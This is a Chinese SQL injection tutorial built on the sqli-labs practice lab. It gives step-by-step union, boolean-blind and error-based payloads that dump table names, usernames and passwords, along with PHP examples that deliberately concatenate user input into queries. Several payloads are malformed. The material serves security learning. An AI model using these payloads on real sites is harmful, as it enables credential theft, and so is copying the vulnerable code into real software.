Union（联合）注入攻击

[在线靶场][http://43.247.91.228:84/Less-1/?id=1]

http://127.0.0.1/sqli-labs/Less-1/?id=1

一、判断是否用'做字符串引号

`http://127.0.0.1/sqli-labs/Less-1/?id=1'and 1=1 --+`

`https://blog.csdn.net/qq_41630808/article/details/80570197`

正常输出

出错代表没有闭合 说明没有用'可能没有用' 或用了"或()

`http://127.0.0.1/sqli-labs/Less-1/?id=1%27and%201=2--+`

则是''字符串注入

二、判断它所在的数据库有几列

`http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3 --+ 判断是否有3列`

正常

`http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 4 --+ 判断是否有4列`

错误

说明它输出的内容所在的数据库有3列

三、判断他显示的内容在数据库的第几列

`http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+`

则 Your Login name 在第二列Your Password在第三列

我选择在第二列输出我想要的内容

四、查找出当前用户权限

`http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),3 --+`

root权限

五、查找当前数据库

`http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+`

当前数据库是 security

六、查找security的表名

`http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+`

表名是 emails,referers,uagents,users

> group_concat()会计算哪些行属于同一组，将属于同一组的列显示出来。要返回哪些列，由函数参数(就是字段名)决定

七、查找users里的字段

`http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+`

八、查找用户名

`http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),3 --+`

九、查找密码

`http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(password) from security.users),3 --+`

这样 这个就完成了 已经拿到了账号密码

Union (联合) 注入代码分析

在Union注入页面中，程序获取GET参数ID，将ID拼接到SQL语句中，在数据库中查询参数的ID对应的内容，然后将第一条查询结果中的`username`和`address`输出到页面，

由于是将数据输出到页面上的，所以利用Union语句查询其他数据，代码如下：

```php
<?php
$con=mysqli_connect("localhost","root","123456","test");
// 检测连接
if (mysqli_connect_errno())
{
    echo "连接失败: " . mysqli_connect_error();
}

$id = $_GET['id'];

$result = mysqli_query($con,"select * from users where `id`=".$id);

while($row = mysqli_fetch_array($result))
{
    echo $row['username'] . " " . $row['address'];
    echo "<br>";
}
?>
```

当访问`id=1 union select 1,2,3`时，执行的SQL语句为：

`Select * from users where ‘id’=1 union select 1,2,3``

此时sql语句可以分为`select \* from users where ‘id’=1`和`union select 1,2,3`两条，利用第二条语句（Union查询）就可以获取数据库中的数据。

（优化在源码中添加sql语句执行代码）

Boolean (布尔型) 注入攻击

```
1' and length(database())>=1--+          //判断数据库的长度

1' and substr(database(),1,1)='t' --+       //判断数据库第一个字母的值

1' and substr(database(),2,1)='q' --+       //判断数据库的第二个字母的值

1' and ord(substr(database(),1,1))=115--+  //利用ord和ASCII判断数据库库名

1' and substr(database(),2,1)='q'--+        //利用substr判断数据库的库名

1' and substr(select table_name from information_schema.table where
table_schema='sql' limit 0,1),1,1)='e' --+   //利用substr判断数据库的表名
```

1. `length(str)`：返回str字符串的长度。
2. `substr(str, pos, len)`：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始
3. `mid(str,pos,len)`:跟上面的一样，截取字符串
4. `ascii(str)`：返回字符串str的最左面字符的ASCII代码值。
5. `ord(str)`:同上，返回ascii码
6. `if(a,b,c) :a`为条件，a为true，返回b，否则返回c，如if(1>2,1,0),返回0

Boolean (布尔型)注入代码分析

在Boolean注入页面中程序先获取GET参数ID,通过preg_match判断其中是否存在union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句，从数据库中查询，

```php
<?php
$con=mysqli_connect("localhost","root","123456","test");
// 检测连接
if (mysqli_connect_errno())
{
    echo "连接失败: " . mysqli_connect_error();
}

$id = $_GET['id'];

if (preg_match("/union|sleep|benchmark/i", $id)) {
    exit("no");
}

$result = mysqli_query($con,"select * from users where `id`='".$id."'");

$row = mysqli_fetch_array($result);

if ($row) {
    exit("yes");
}else{
    exit("no");
}


?>
```

当访问id=1' or 1=1%23时，数据库执行的语句为selcet * from user where 'id'='1' or 1=1#,由于or 1=1是永真条件，所有此时返回正常。当访问id=1' and 1=2%23时，

数据库执行的语句为select * from users where ‘id’ = ‘1’ and 1=2#, 由于and‘1‘ =’2‘ 是永假条件，所有此时页面肯定会返=返回错误。

报错注入攻击

updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ //利用updatexml获取user()

‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ //利用updatexml获取database（）

`‘ and updatexml(1,concat(0x7e,(select select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+** **//***利用报错注入获取数据库库名

‘ and updatexml(1,concat(0x7e,(select select table_name from information_schema.tables where table_schema= ‘test’ limit 0,1),0x7e),1)--+ //利用报错注入获取数据库表名

```
## 报错注入攻击代码分析


**在报错注入页面中，程序获取GET参数username 后，将username拼接到SQL语句中然后，然后到数据库查询。**

 ![](http://ww1.sinaimg.cn/large/007bHQE8gy1g58lsi2dz3j30ua0a9419.jpg)



输入username=1‘时，SQL语句为select * from user where ‘username’=‘1“。执行时会因为多了一个单引号而报错。利用这种错误回显，我们可以通过floor(),updatexml()


等函数将要查询的内容输出到页面上。
```